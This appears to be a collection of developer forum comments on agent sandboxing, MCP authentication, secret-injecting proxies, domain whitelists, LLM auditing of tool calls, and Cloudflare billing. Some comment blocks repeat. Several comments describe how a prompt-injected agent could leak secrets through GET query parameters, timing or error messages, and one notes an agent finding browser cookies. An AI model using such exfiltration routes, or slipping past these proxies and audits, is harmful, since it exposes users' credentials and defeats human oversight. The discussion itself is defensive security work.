There is nothing wrong with MCP, it's just that stdio MCP was overengineered.
MCP's Streamable HTTP with OAuth discovery is the best way to ship AI integration with your product nowadays. CLIs require sandboxing, doesn't handle auth in a standard way and it doesn't integrate to ChatGPT or Claude.
Look at Sentry, they just ship a single URL https://mcp.sentry.dev/mcp and you don't need anything else. All agents that supports MCP lets you click a link to login to Sentry and they make calls to Sentry to fetch authentificated data.
The main problem with MCP is the implementation. Instead of using bash to call MCP, agents are designed to make single MCP tool calling which doesn't allow composability. We solve this problem with exposing MCP tools as HTTP endpoints and it works like charm.
Could you expand on this some more? I'm not quite following.
I agree with the sandboxing challenge of a CLI, although I think any CLI (or MCP) wrapping an http API should be subject to a sane permissioning system that's a first class concept in the API itself. That's in my opinion the correct way to limit what different users/tools/agents can do.
But I don't fully understand the Streamable HTTP point.
I doesn't matter how it "should" work. In the real world you need to interact with external systems which don't have granular enough permission schemes.
People out here letting Claude code run CLIs using their own user permissions are morons waiting to have their data deleted.
CLI enables the actions to be made on behalf of you, the external service is not aware whether it's you or AI making the calls. With MCP, Sentry knows it's AI making the call so can be smarter about the security. There is many MCP annotation hints on tools to mark the as destructive, read-only etc.
That's interesting, but that still sounds like something a proper auth/token permission system would more than address. You're also actively choosing to limit what functionality MCP provides, which is fine, but there are many ways to do the same via the API or CLI tooling.
I'm not saying you are wrong to do this, I just don't think it's enough to convince me that yes this is the one true approach you should use.
AFAIK Claude Code doesn't inject all the MCP output into the context. It limits 25k tokens and uses bash pipe operators to read the full output. That's at least what I see in the latest version.
That's true, Claude Code does truncate large outputs now. But 25k tokens is still a lot, especially when you're running multiple tools back to back. Three or four Playwright snapshots or a batch of GitHub issues and you've burned 100k tokens on raw data you only needed a few lines from. Context-mode typically brings that down to 1-2k per call while keeping the full output searchable if you need it later.
My take is that agents should only take actions that you can recover from by default. You can gradually give it more permission and build guardrails such as extra LLM auditing, time boxed whitelisted domains etc. That's what I'm experimenting with https://github.com/lobu-ai/lobu
1. Don't let it send emails from your personal account, only let it draft email and share the link with you.
2. Use incremental snapshots and if agent bricks itself (often does with Openclaw if you give it access to change config) just do /revert to last snapshot. I use VolumeSnapshot for lobu.ai.
3. Don't let your agents see any secret. Swap the placeholder secrets at your gateway and put human in the loop for secrets you care about.
4. Don't let your agents have outbound network directly. It should only talk to your proxy which has strict whitelisted domains. There will be cases the agent needs to talk to different domains and I use time-box limits. (Only allow certain domains for current session 5 minutes and at the end of the session look up all the URLs it accessed.) You can also use tool hooks to audit the calls with LLM to make sure that's not triggered via a prompt injection attack.
Last but last least, use proper VMs like Kata Containers and Firecrackers. Not just Docker containers in production.
That's a decent practice from the lens of reducing blast radius. It becomes harder when you start thinking about unattended systems that don't have you in the loop.
One problem I'm finding discussion about automation or semi-automation in this space is that there's many different use cases for many different people: a software developer deploying an agent in production vs an economist using Claude Vs a scientist throwing a swarm to deal with common ML exploratory tasks.
Many of the recommendations will feel too much or too little complexity for what people need and the fundamentals get lost: intent for design, control, the ability to collaborate if necessary, fast iteration due to an easy feedback loop.
AI Evals, sandboxing, observability seem like 3 key pillars to maintain intent in automation but how to help these different audiences be safely productive while fast and speak the same language when they need to product build together is what is mostly occupying my thoughts (and practical tests).
Current LLMs are nowhere near qualified to be autonomous without a human in the loop. They just aren't rigorous enough. Especially the "scientist throwing a swarm to deal with common ML exploratory tasks." The judgement of most steps in the exploratory task require human feedback based on the domain of study.
> Many of the recommendations will feel too much or too little complexity for what people need and the fundamentals get lost: intent for design, control, the ability to collaborate if necessary, fast iteration due to an easy feedback loop.
Completely agreed. This is because LLMs are atrocious at judgement and guiding the sequence of exploration is critically dependent on judgement.
I'd like to try a pattern where agents only have access to read-only tools. They can read you emails, read your notes, read your texts, maybe even browse the internet with only GET requests...
But any action with side-effects ends up in a Tasks list, completely isolated. The agent can't send an email, they don't have such a tool. But they can prepare a reply and put it in the tasks list. Then I proof-read and approve/send myself.
There is no real such thing as a read only GET request if we are talking about security issues here. Payloads with secrets can still be exfiltrated, and a server you don’t control can do what it wants when it gets the request.
GET and POST are merely suggestions to the server. A GET request still has query parameters; even if the server is playing by the book, an agent can still end up requesting GET http://angelic-service.example.com/api/v1/innocuous-thing?pa... and now your `dangerous-secret` is in the server logs.
You can try proxying and whitelisting its requests but the properly paranoid option is sneaker-netting necessary information (say, the documentation for libraries; a local package index) to a separate machine.
The proxy approach for secret injection is the right mental model, but it only works if the proxy itself is hardened against prompt injection. An agent that can't access secrets directly can still be manipulated into crafting requests that leak data through side channels — URL params, timing, error messages.
The deeper issue: most of these guardrails assume the threat is accidental (agent goes off the rails) rather than adversarial (something in the agent's context is actively trying to manipulate it). Time-boxed domain whitelists help with the latter but the audit loop at session end is still reactive.
The /revert snapshot idea is underrated though. Reversibility should be the first constraint, not an afterthought.
> but it only works if the proxy itself is hardened against prompt injection.
Yes, I'm experimenting using a small model like Haiku to double check if the request looks good. It adds quite a bit of latency but it might be the right approach.
Honestly; it's still pretty much like early days of self driving cars. You can see the car can go without you supervising it but still you need to keep an eye on where it's going.
> 1. Don't let it send emails from your personal account, only let it draft email and share the link with you.
Right now there's no way to have fine-grained draft/read only perms on most email providers or email clients. If it can read your email it can send email.
> 3. Don't let your agents see any secret. Swap the placeholder secrets at your gateway and put human in the loop for secrets you care about.
harder than you might think. openclaw found my browser cookies. (I ran it on a vm so no serious cookies found, but still)
> Right now there's no way to have fine-grained draft/read only perms on most email providers or email clients. If it can read your email it can send email.
> harder than you might think. openclaw found my browser cookies. (I ran it on a vm so no serious cookies found, but still)
You should never give any secrets to your agents, like your Gmail access tokens. Whenever agents needs to take an action, it should perform the request and your proxy should check if the action is allowed and set the secrets on the fly.
That means agents should not have access to internet without a proxy, which has proper guardrails. Openclaw doesn't have this model unfortunately so I had to build a multi-tenant version of Openclaw with a gateway system to implement these security boundaries.
> That means agents should not have access to internet without a proxy, which has proper guardrails. Openclaw doesn't have this model unfortunately so I had to build a multi-tenant version of Openclaw with a gateway system to implement these security boundaries.
I wonder how long until we see a startup offering such a proxy as a service.
Sandboxes are not enough but you can have more observability into what the agent is doing, only give it access to read-only data and let it take irreversible actions that you can recover from. Here are some tips from building sandboxed multi-tenant version of Openclaw, my startup: https://github.com/lobu-ai/lobu
1. Don't let it send emails from your personal account, only let it draft email and share the link with you.
2. Use incremental snapshots and if agent bricks itself (often does with Openclaw if you give it access to change config) just do /revert to last snapshot. I use VolumeSnapshot for lobu.ai.
3. Don't let your agents see any secret. Swap the placeholder secrets at your gateway and put human in the loop for secrets you care about.
4. Don't let your agents have outbound network directly. It should only talk to your proxy which has strict whitelisted domains. There will be cases the agent needs to talk to different domains and I use time-box limits. (Only allow certain domains for current session 5 minutes and at the end of the session look up all the URLs it accessed.) You can also use tool hooks to audit the calls with LLM to make sure that's not triggered via a prompt injection attack.
Last but last least, use proper VMs like Kata Containers and Firecrackers.
I spent 3 months adopting Codex and Claude Code SDKs only to realize they're just vendor lock-in and brittle. They're intended to be used as CLI so it's not programmable enough as a library. After digging into OpenClaw codebase, I can safely say that the most of its success comes from the underlying harness, pi agent.
pi plugins support adding hooks at every stage, from tool calls to compaction and let you customize the TUI UI as well. I use it for my multi-tenant Openclaw alternative https://github.com/lobu-ai/lobu
If you're building an agent, please don't use proprietary SDKs from model providers. Just stick to ai-sdk or pi agent.
IIUC to reliably use 3P tools you need to use API billing, right? Based on my limited experimentation this is an order of magnitude more expensive than consumer subscriptions like Claude Pro, do I have that right?
("Limited experimentation" = a few months ago I threw $10 into the Anthropic console and did a bit of vibe coding and found my $10 disappeared within a couple of hours).
If so, that would support your concern, it does kinda sound like they're selling marginal Claude Code / Gemini CLI tokens at a loss. Which definitely smells like an aggressive lockin strategy.
Technically you're still using claude CLI with this pattern so it's not 3P app calling Anthropic APIs via your OAuth token. Even if you would use Claude Code SDK, your app is 3P so it's in a gray area.
Anthropic docs is intentionally not clear about how 3P tools are defined, is it calling Claude app or the Anthropic API with the OAuth tokens?
Unfortunately it's currently very utopian for (I would assume) most devs to use something like this when API cost is so prohibitively expensive compared to e.g. Claude Code. I would love to use a lighter and better harness, but I wouldn't love to quintuple my monthly costs. For now the pricing advantage is just too big for me compared to the inconvenience of using CC.
Is this in line with Anthropic ToS? They cracked down hard on Clawdbot and the like from what I gathered. I guess if you are still invoking CC it might be fine, but isn't that gonna lead to weird behavior from basically doubling up on harnesses?
I left some notes about this. I agree with you directionally but practically/economically you want to let users leverage what they're already paying for.
In an ideal world we would have a pi-cli-mono or similar, like something that is not as powerful as pi but gives a least common denominator sort of interface to access at least claude/codex.
ACP is also something interesting in this space, though I don't honestly know how that fits into this story.
For all of the recent talk about how Anthropic relies on heavy cache optimization for claude-code, it certainly seems like session-specific information (the exact datestamp, the pid-specific temporary directory for memory storage) enters awfully early in the system prompt.
Neat! I wasn’t aware that Docker has an embedded microVM option.
I use Kata Containers on Kubernetes (Firecrackers) and restrict network access with a proxy that supports you to block/allow domain access. Also swap secrets at runtime so agents don’t see any secrets (similar to Deno sandboxes)
Kata containers are the right way to go about doing sandboxing on K8s. It is very underappreciated and, timing-wise, very good. With ec2 supporting nested virtualization, my guess is there is going to be wide adoption.
Woah, that looks great. I’ve been looking for something like this. Neither thr readme or the security doc go into detail on the credential handling in the gateway. Is it using tokens to represent the secrets, or is the client just trusting that the connection will be authenticated? I’m trying to figure out how similar this is to something like Fly’s tokenizer proxy.
I’m working on the documentation right now but I had to build 3 prototypes to get here. :)
After seeing Deno and Fly, I rewrote the proxy being inspired by them. I integrates nicely with existing MCP proxy so agent doesn’t see any MCP secrets either.
Exactly! I was digging into Openclaw codebase for the last 2 weeks and the core ideas are very inspiring.
The main work he has done to enable personal agent is his army of CLIs, like 40 of them.
The harness he used, pi-mono is also a great choice because of its extensibility. I was working on a similar project (1) for the last few months with Claude Code and it’s not really the best fit for personal agent and it’s pretty heavy.
Since I was planning to release my project as a Cloud offering, I worked mainly on sandboxing it, which turned out to be the right choice given OpenClaw is opensource and I can plug its runtime to replace Claude Code.
I decided to release it as opensource because at this point software is free.
This is very neat! IMO inspecting the queries the agents run on the database is a better approach to understand how the code works, even more than reviewing the code.
I just tried and it works smoothly. For those who doesn't want to plug in the agents to their database directly, I built a similar tool https://dbfor.dev for the exact purpose, it just embeds PGLite and implements PG wire protocol to spin up quick PG databases with a traffic viewer included.
I tried to run it locally some time ago, but it's buggy as hell when self-hosted. It's not even worth trying out given that CF itself doesn't suggest it.
I'm curious what bugs you encountered. workerd does power the local runtime when you test CF workers in dev via wrangler, so we don't really expect/want it to be buggy..
Specifically, half of the services operate locally, and the other half require CF services. I mainly use Claude Code to develop, and it often struggles to replicate the local environment, so I had to create another worker in CF for my local development.
Initially, the idea was to use CF for my side projects as it's much easier than K8S, but after wrestling with it for a month, decided that it's not really worth investing that much, and I moved back to using K8S with FluxCD instead, even though it's overkill as well.
> There is a big "WARNING: This is a beta. Work in progress"
Ughhhh that is because nobody ever looks at the readme so it hasn't been updated basically since workerd was originally released. Sorry. I should really fix that.
> Specifically, half of the services operate locally, and the other half require CF services.
workerd itself is a runtime for Workers and Durable Objects, but is not intended to provide implementations of other services like KV, D1, etc. Wrangler / miniflare provides implementations of most of these for local testing purposes, but these aren't really meant for production.
But workers + DO alone is enough to do a whole lot of things...
Thanks a ton for the quick response! I totally get that workerd is not intended to be the emulator of all CF services, but the fact that I will still need an external dependency for local development, and the code I developed can't be used outside of CF environment, makes me feel like I'm locked in to the environment.
I'm mostly using terminal agents to write and deploy code. I made a silly mistake, not reviewing the code before merging it into main (side project, zero user), and my durable object alarms got into an infinite loop, and I got a $400 bill in an hour. There was no way to set rate limits for AI binding in workers, and I didn't get any notification, so I created a support ticket 2 months ago, which hasn't answered to this date.
That was enough for me to move out of CF as a long-time user (>10 years) and believer (CF is still one of my biggest stocks). In a world where AI writes most of the code, it's scary to have the requirement to deploy to a cloud that doesn't have any way to set rate limits.
I learned the hard way that I must use AI Gateway in this situation, but authentication is harder with it, and agents prefer embedded auth, which makes it pick AI binding over AI Gateway. With K8S, it's not easy to maintain, but at least I can fully control the costs without worrying about cost of experimentation.
MCP's Streamable HTTP with OAuth discovery is the best way to ship AI integration with your product nowadays. CLIs require sandboxing, doesn't handle auth in a standard way and it doesn't integrate to ChatGPT or Claude.
Look at Sentry, they just ship a single URL https://mcp.sentry.dev/mcp and you don't need anything else. All agents that supports MCP lets you click a link to login to Sentry and they make calls to Sentry to fetch authentificated data.
The main problem with MCP is the implementation. Instead of using bash to call MCP, agents are designed to make single MCP tool calling which doesn't allow composability. We solve this problem with exposing MCP tools as HTTP endpoints and it works like charm.
reply